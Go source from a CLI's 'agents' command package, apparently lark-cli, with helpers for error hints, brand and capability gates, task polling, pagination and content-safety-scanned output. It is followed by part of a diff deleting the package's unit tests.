return iagents.Provider{}, nil, "", "", wrapRefResolveError(err)
}
return prov, spec, agentID, id, nil
}
func providerSupportsIdentity(prov iagents.Provider, id core.Identity) bool {
for _, identity := range prov.Identities {
if string(identity.Type) == string(id) {
return true
}
}
return false
}
func checkProviderIdentity(f *cmdutil.Factory, id core.Identity, prov iagents.Provider) error {
providerIdentities := make([]string, 0, len(prov.Identities))
for _, identity := range prov.Identities {
providerIdentities = append(providerIdentities, string(identity.Type))
}
return f.CheckIdentity(id, providerIdentities)
}
// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
// the remote API. It requires a configured client (not_configured / exit 3 here
// is correct for a real API call). agentID is the resolved agent this call
// addresses (from the ref), exposed to hooks via rt.AgentID(); params is the
// validated business-parameter map (defaults backfilled) exposed via
// rt.Params() — pass nil on paths that carry no business params (card's
// Describe enrichment).
func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string, params map[string]string) (iagents.Runtime, error) {
apiClient, err := f.NewAPIClient()
if err != nil {
return nil, err
}
return &cmdRuntime{client: apiClient, as: id, agentID: agentID, params: params}, nil
}
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
// validation typed error (subtype invalid_argument, exit 2) and attaches the
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
// shape; an unknown scheme points at `agents list` to discover the available
// providers. Both hints are copy-pasteable next steps, not just wording.
func wrapRefResolveError(err error) error {
// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
// carrying a scheme-scoped hint (`agents list <scheme>`); pass it through
// instead of flattening it via err.Error() and overwriting that hint with the
// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
// scheme errors need wrapping.
if _, ok := errs.ProblemOf(err); ok {
return err
}
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
if errors.Is(err, iagents.ErrInvalidRef) {
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
}
return e.WithHint("用 lark-cli agents list 查看可用 provider")
}
// cardHint builds the "check the agent card" hint. The ref is user-echoed
// input: when it passes the safeNextRef whitelist the hint carries the
// copy-pasteable command; otherwise it degrades to plain guidance without any
// interpolated command (a ref containing spaces would make the command
// non-copy-pasteable, and the hint is what an AI copies verbatim).
func cardHint(ref, what string) string {
if safeNextRef(ref) {
return fmt.Sprintf("运行 lark-cli agents card %s 查看%s", ref, what)
}
return fmt.Sprintf("查看该 agent 的能力卡片agents card 命令)确认%s", what)
}
// emitTask writes a task result: the standard success envelope carrying
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
// the key:value human view. Because the agent's messages/artifacts are
// untrusted external content, the payload is run through content-safety
// scanning before emission on BOTH paths (and the pretty path additionally
// ANSI-strips agent text). A --jq expression, when the leaf command registers
// one, implies structured JSON and filters stdout.
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagents.AgentTask, next []output.NextAction, format string, notices ...string) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
if scan.Blocked {
return scan.BlockErr
}
// Normalization notices (provider contract defects, §3.2) must be visible on
// BOTH surfaces: stderr for humans, envelope _notice for the JSON consumer.
var defect string
for _, n := range notices {
if n != "" {
defect = n
fmt.Fprintf(errOut, "notice: %s\n", n)
}
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
printTaskPretty(out, task)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: task,
Notice: output.GetNotice(),
}
if defect != "" {
if env.Notice == nil {
env.Notice = map[string]interface{}{}
}
env.Notice["provider_defect"] = defect
}
if len(next) > 0 {
// Identity carry follows the CLI-family convention (shortcuts never pin
// --as into suggested commands): only when the caller EXPLICITLY passed
// --as does the suggestion carry the resolved identity — an explicit
// non-default identity would otherwise fall back to the default on
// verbatim replay and look up another principal's task store. An
// implicit (default/auto) identity stays unpinned: the next command
// re-resolves to the same answer in the same environment. Only
// agent-subtree commands take --as (auth login does not).
carryAsIntoNext(cmd, f, next)
env.Meta = &output.Meta{Next: next}
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
// payload now carries untrusted agent-authored text — task list
// (TaskSummary.Summary), context list, and context get
// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
// the payload BEFORE emission on every path: a block returns the typed block
// error, a warn attaches the alert to the JSON envelope (and prints a stderr
// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
// is scanned); meta is an optional *output.Meta (list count, nil for a single
// detail); pretty renders the --format pretty human view and is skipped when a
// --jq expression forces structured JSON.
func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
if scan.Blocked {
return scan.BlockErr
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
pretty(out)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: data,
Meta: meta,
Notice: output.GetNotice(),
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// jqExpr reads the --jq flag value if the leaf command registered one; absent
// otherwise.
func jqExpr(cmd *cobra.Command) string {
if cmd == nil { // options structs built directly in tests may carry no Cmd
return ""
}
if f := cmd.Flags().Lookup("jq"); f != nil {
return f.Value.String()
}
return ""
}
// resolvedBrand returns the brand the agent commands filter/gate against: the
// logged-in account's Config().Brand when Config resolves and is non-empty,
// else BrandFeishu (the offline/unconfigured default, consistent with
// core.ParseBrand mapping unknown→feishu). It is nil-safe (a nil Factory or a
// nil Config hook yields feishu), so the offline gates hold before config init.
func resolvedBrand(f *cmdutil.Factory) core.LarkBrand {
if f == nil || f.Config == nil {
return core.BrandFeishu
}
cfg, err := f.Config()
if err != nil || cfg == nil || cfg.Brand == "" {
return core.BrandFeishu
}
return cfg.Brand
}
// unavailableForBrandError returns the unavailable_for_brand validation error
// (exit 2) — the brand sibling of capabilityError. `what` is the human-facing
// capability name (e.g. "task cancel"); an empty `what` is the whole-agent case
// ("agent '<ref>' is not available under <brand>"). The hint points at the card
// for the current brand (cardHint interpolates ref only when it is whitelisted).
func unavailableForBrandError(ref, what string, brand core.LarkBrand) error {
var msg string
if what == "" {
msg = fmt.Sprintf("agent '%s' 在 %s 品牌下不可用", ref, brand)
} else {
msg = fmt.Sprintf("agent '%s' 的 '%s' 在 %s 品牌下不可用", ref, what, brand)
}
return errs.NewValidationError(errs.SubtypeUnavailableForBrand, "%s", msg).
WithHint("%s", cardHint(ref, "当前品牌支持的能力"))
}
// brandGate is the whole-agent brand visibility gate: a spec whose declared
// Brands exclude the resolved brand returns unavailable_for_brand (exit 2,
// offline) before any network call. Placed right after the capability/offline
// gates in every verb path.
func brandGate(f *cmdutil.Factory, spec *iagents.AgentSpec, ref string) error {
if brand := resolvedBrand(f); !iagents.SpecAvailableForBrand(spec, brand) {
return unavailableForBrandError(ref, "", brand)
}
return nil
}
// opBrandGate is the per-capability brand gate: a WIRED op whose declared Brands
// exclude the resolved brand returns unavailable_for_brand (exit 2, offline).
// `what` is the human capability name. It assumes the whole-agent gate (brandGate)
// already passed. Core ops (Send/GetTask) normally declare no Brands, so this is
// a no-op for them unless a provider scopes them explicitly.
func opBrandGate(f *cmdutil.Factory, brands []core.LarkBrand, ref, what string) error {
if brand := resolvedBrand(f); !iagents.OpAvailableForBrand(brands, brand) {
return unavailableForBrandError(ref, what, brand)
}
return nil
}
// capabilityError returns the unsupported_capability validation error (exit 2)
// used for capability gating: capHuman is the human-facing action (e.g.
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
// interpolates ref only when it passes the whitelist (cardHint).
func capabilityError(ref, capHuman, capKey string) error {
return errs.NewValidationError(
errs.SubtypeUnsupportedCapability,
"agent '%s' 不支持 '%s'capability %s=false", ref, capHuman, capKey,
).WithHint("%s", cardHint(ref, "支持的能力"))
}
// normalizeTask canonicalizes a provider task the moment it enters the command
// layer: IsTerminal is re-derived from State (the single source of truth, so a
// provider that mis-fills the flag can never skew watch exit codes or an AI
// caller's stop-polling decision), and the input_required question group runs
// the central §3.2 normalization (size caps, empty options → absent, bare
// prompt → one ordinary free-text question, non-conforming keys → whole-group
// degrade). The returned notice — a provider defect worth seeing — must reach
// the caller's output surface (emitTask routes it into the JSON envelope
// _notice and onto stderr for pretty) instead of being silently smoothed over.
// nil-safe.
func normalizeTask(t *iagents.AgentTask) (notice string) {
if t == nil {
return ""
}
t.IsTerminal = t.State.IsTerminal()
return iagents.NormalizeInputRequired(t)
}
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
// single-source rule as normalizeTask), returning the slice for chaining.
func normalizeTaskSummaries(ts []iagents.TaskSummary) []iagents.TaskSummary {
for i := range ts {
ts[i].IsTerminal = ts[i].State.IsTerminal()
}
return ts
}
// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
// task hits a stop condition (terminal, input_required, or auth_required)
// or ctx is done. A timeout is not a failure: it returns the most recent
// task with a nil error, letting the caller print the current state (exit 0). A
// provider GetTask error is surfaced. getTask is a bound closure over the
// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
// provider-neutral and testable.
func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagents.AgentTask, error), taskID string) (*iagents.AgentTask, error) {
const (
initialDelay = time.Second
maxDelay = 5 * time.Second
)
var last *iagents.AgentTask
delay := initialDelay
for {
task, err := getTask(ctx, taskID)
if err != nil {
return last, err
}
last = task
if task.State.ShouldStopPolling() {
return task, nil
}
if ctx.Err() != nil {
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
}
if !sleep(ctx, delay) {
// ctx canceled during backoff → observation window closed, not a
// task failure.
return last, nil
}
if delay < maxDelay {
if delay *= 2; delay > maxDelay {
delay = maxDelay
}
}
}
}
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
// a non-successful terminal state (failed/rejected/canceled) yields a
// silent exit-1 signal; any other state (including a successful terminal or a
// non-terminal stop like input_required) yields nil. A nil task yields nil.
func semanticExitError(task *iagents.AgentTask) error {
if task == nil || !task.IsTerminal {
return nil
}
switch task.State {
case iagents.StateFailed, iagents.StateRejected, iagents.StateCanceled:
return output.ErrBare(1)
default:
return nil
}
}
// listMeta builds the list-class meta: count for a non-empty list, nil (no
// meta at all) for an empty one. Count is omitempty at the shared envelope
// level, so an empty list would otherwise degrade to the ambiguous "meta": {}
// third shape; absent-with-documented-rule beats an empty object. (Emitting an
// explicit "count": 0 would need the shared Meta.Count to become a pointer —
// a repo-wide change deliberately out of this package's blast radius.)
func listMeta(n int) *output.Meta {
if n == 0 {
return nil
}
return &output.Meta{Count: n}
}
// Pagination flag defaults / bounds, shared by the three paginated list leaves
// (task list, context list, list <scheme>).
const (
defaultPageSize = 20
minPageSize = 1
maxPageSize = 100
)
// addPageFlags registers the shared --page-size / --page-token flags on a
// paginated list leaf. Size defaults to defaultPageSize (a bare list returns the
// first page); an empty token asks for the first page.
func addPageFlags(cmd *cobra.Command, pageSize *int, pageToken *string) {
cmd.Flags().IntVar(pageSize, "page-size", defaultPageSize, "每页条数1-100")
cmd.Flags().StringVar(pageToken, "page-token", "", "上一页返回的 page_token留空取第一页")
}
// validatePageSize enforces the [minPageSize,maxPageSize] range as a client-side
// invalid_argument validation error (exit 2) before any provider is built, so a
// nonsense size never reaches the network and holds under a nil Factory.
func validatePageSize(n int) error {
if n < minPageSize || n > maxPageSize {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--page-size 须在 %d-%d 之间,收到 %d", minPageSize, maxPageSize, n).
WithParam("--page-size").
WithHint("改用 %d-%d 之间的每页条数重发", minPageSize, maxPageSize)
}
return nil
}
// listMetaPage builds the page-aware list meta: count (when >0), has_more,
// page_token (the next-page cursor), and the next-page action(s). It preserves
// listMeta's "no empty {}" rule — nil is returned ONLY when the page is empty AND
// there is no next page AND there is no next action, so an otherwise-absent meta
// never degrades to the ambiguous "meta": {} shape.
func listMetaPage(count int, info iagents.PageInfo, next []output.NextAction) *output.Meta {
if count == 0 && !info.HasMore && len(next) == 0 {
return nil
}
return &output.Meta{
Count: count, // omitempty drops 0
HasMore: info.HasMore,
PageToken: info.NextToken,
Next: next,
}
}
// carryAsIntoNext mirrors emitTask's identity-carry rule for the paginated list
// leaves (which build their own next-actions instead of going through emitTask):
// only when the caller EXPLICITLY passed --as does the suggested next-page
// command carry the resolved identity, so an explicit non-default identity is not
// silently dropped on verbatim replay while an implicit (default/auto) identity
// stays unpinned. No-op on a nil cmd or an unchanged --as.
func carryAsIntoNext(cmd *cobra.Command, f *cmdutil.Factory, next []output.NextAction) {
if cmd == nil || !cmd.Flags().Changed("as") {
return
}
id := string(f.ResolvedIdentity)
if id == "" {
return
}
for i := range next {
if strings.HasPrefix(next[i].Command, "lark-cli agents ") {
next[i].Command += " --as " + id
}
}
}
// nextPageAction builds the single "下一页" next-action for a paginated list when
// a next page exists. base is the fully-formed command up to (but not including)
// the pagination flags, e.g. "lark-cli agents task list example:echo"; the caller
// is responsible for whitelisting the ref / scheme / context-id interpolated into
// base. The cursor is server-controlled and interpolated verbatim into a command
// the AI runs, so it must pass the safeNextID whitelist first — a failing cursor
// drops the command (the cursor still rides meta.page_token as data, so the caller
// can page manually). Returns nil when there is no next page.
func nextPageAction(base string, size int, info iagents.PageInfo) []output.NextAction {
if !info.HasMore || info.NextToken == "" || !safeNextID(info.NextToken) {
return nil
}
return []output.NextAction{{
Label: "下一页",
Command: fmt.Sprintf("%s --page-size %d --page-token %s", base, size, info.NextToken),
}}
}

View File

@@ -1,820 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"errors"
"io"
"strings"
"testing"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
err := capabilityError("example:agt x", "task cancel", iagents.CapTaskCancel)
p, ok := errs.ProblemOf(err)
if !ok || p.Hint == "" {
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
}
if strings.Contains(p.Hint, "example:agt x") {
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
}
}
// TestCapabilityError pins the unsupported_capability contract.
func TestCapabilityError(t *testing.T) {
err := capabilityError("example:agt_xxx", "task cancel", iagents.CapTaskCancel)
if err == nil {
t.Fatal("should return an error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
func TestSemanticExitError(t *testing.T) {
cases := []struct {
state iagents.TaskState
wantExit int
}{
{iagents.StateCompleted, output.ExitOK},
{iagents.StateFailed, 1},
{iagents.StateRejected, 1},
{iagents.StateCanceled, 1},
{iagents.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
{iagents.StateWorking, output.ExitOK},
}
for _, c := range cases {
task := &iagents.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
err := semanticExitError(task)
if got := output.ExitCodeOf(err); got != c.wantExit {
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
}
}
// nil task should not panic and is treated as success
if err := semanticExitError(nil); err != nil {
t.Errorf("nil task should return nil, got %v", err)
}
}
// fakePollProvider drives pollToStop through a scripted state sequence. getTask
// is the closure pollToStop takes (spec.GetTask bound to a runtime in
// production); calls/err stay observable on the struct after the poll.
type fakePollProvider struct {
states []iagents.TaskState
calls int
err error
}
func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagents.AgentTask, error) {
if f.err != nil {
return nil, f.err
}
i := f.calls
if i >= len(f.states) {
i = len(f.states) - 1
}
f.calls++
s := f.states[i]
return &iagents.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
}
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
func TestPollToStop_ReachesTerminal(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagents.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
if p.calls < 3 {
t.Fatalf("should poll at least 3 times, got %d", p.calls)
}
}
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateInputRequired}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task.State != iagents.StateInputRequired {
t.Fatalf("should stop at input_required, got %s", task.State)
}
}
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
// current task with a nil error (exit 0), not a failure.
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
restore := swapSleep()
defer restore()
ctx, cancel := context.WithCancel(context.Background())
cancel() // expire immediately
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}}
task, err := pollToStop(ctx, p.getTask, "chat_1")
if err != nil {
t.Fatalf("timeout should not be treated as failure: %v", err)
}
if task == nil || task.State != iagents.StateWorking {
t.Fatalf("timeout should return the current task, got %+v", task)
}
}
// TestPollToStop_GetTaskError surfaces a provider error.
func TestPollToStop_GetTaskError(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}, err: errors.New("boom")}
if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
t.Fatal("a GetTask error should propagate")
}
}
// swapSleep replaces the package sleep with a no-op for fast tests.
func swapSleep() func() {
orig := sleep
sleep = func(context.Context, time.Duration) bool { return true }
return func() { sleep = orig }
}
// swapSleepCapture replaces the package sleep with a no-op that records every
// backoff duration it was asked to wait, so tests can assert the exponential /
// clamp schedule. It always returns true (full duration elapsed).
func swapSleepCapture(delays *[]time.Duration) func() {
orig := sleep
sleep = func(_ context.Context, d time.Duration) bool {
*delays = append(*delays, d)
return true
}
return func() { sleep = orig }
}
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
// (as if ctx were canceled during backoff) on the falseCall-th invocation
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
// branch in isolation without racing a real ctx timeout.
func swapSleepFalseAt(falseCall int) func() {
orig := sleep
n := 0
sleep = func(context.Context, time.Duration) bool {
n++
return n != falseCall
}
return func() { sleep = orig }
}
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
// captured schedule must never exceed maxDelay and must actually reach it.
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
var delays []time.Duration
restore := swapSleepCapture(&delays)
defer restore()
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
p := &fakePollProvider{states: []iagents.TaskState{
iagents.StateWorking, iagents.StateWorking, iagents.StateWorking,
iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted,
}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagents.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
if len(delays) != len(want) {
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
}
for i, d := range delays {
if d > 5*time.Second {
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
}
if d != want[i] {
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
}
}
}
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
// most recent task with a nil error (not a failure).
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
defer restore()
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateCompleted}}
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
if err != nil {
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
}
if task == nil || task.State != iagents.StateWorking {
t.Fatalf("should return the working task observed before interruption, got %+v", task)
}
if p.calls != 1 {
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
}
}
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
// returns its value; a command without the flag returns "".
func TestJqExpr(t *testing.T) {
withFlag := &cobra.Command{Use: "get"}
withFlag.Flags().String("jq", "", "")
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
t.Fatal(err)
}
if got := jqExpr(withFlag); got != ".state" {
t.Errorf("with a --jq flag it should return its value, got %q", got)
}
noFlag := &cobra.Command{Use: "list"}
if got := jqExpr(noFlag); got != "" {
t.Errorf("without a --jq flag it should return empty, got %q", got)
}
}
// newEmitCmd builds a `lark-cli agents <name>` command whose CommandPath() is
// non-empty (required for content-safety scanning to engage) and optionally
// registers a --jq flag with the given value.
func newEmitCmd(name, jq string) *cobra.Command {
root := &cobra.Command{Use: "lark-cli"}
agentGroup := &cobra.Command{Use: "agents"}
leaf := &cobra.Command{Use: name}
root.AddCommand(agentGroup)
agentGroup.AddCommand(leaf)
if jq != "" {
leaf.Flags().String("jq", "", "")
_ = leaf.Flags().Set("jq", jq)
}
leaf.SetContext(context.Background())
return leaf
}
// emitFactory returns a Factory writing to fresh out/err buffers.
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
ResolvedIdentity: core.AsBot,
}
return f, out, errOut
}
// csProvider is a content-safety provider stub returning a fixed alert.
type csProvider struct{ alert *extcs.Alert }
func (p *csProvider) Name() string { return "test" }
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
return p.alert, nil
}
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
// lands on stdout with ok=true and the identity.
func TestEmitTask_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
next := []output.NextAction{{Label: "poll", Command: "lark-cli agents task get example:x chat_1"}}
if err := emitTask(f, cmd, task, next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
t.Errorf("meta.next should appear in the output: %s", out.String())
}
}
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
// inputs the branch can receive.
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
for _, tc := range []struct {
name string
next []output.NextAction
}{
{"nil next", nil},
{"empty non-nil next", []output.NextAction{}},
} {
t.Run(tc.name, func(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if env.Meta != nil {
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
}
if strings.Contains(out.String(), `"meta"`) {
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
}
})
}
}
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
func TestEmitTask_JqFilter(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("jq filtering should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq .data.state should output working, got %q", got)
}
}
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
func TestEmitTask_JqFilterError(t *testing.T) {
f, _, _ := emitFactory()
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
t.Fatal("a malformed jq expression should error")
}
}
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
// without blocking output.
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
// still filters stdout.
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, errOut := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn+jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq output should be working, got %q", got)
}
if !strings.Contains(errOut.String(), "content safety alert") {
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
}
}
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
// to stdout.
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
err := emitTask(f, cmd, task, nil, "json")
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
// which exercise the json path only.
func noPretty(io.Writer) {}
// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
// lands on stdout.
func TestScanAndEmitData_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
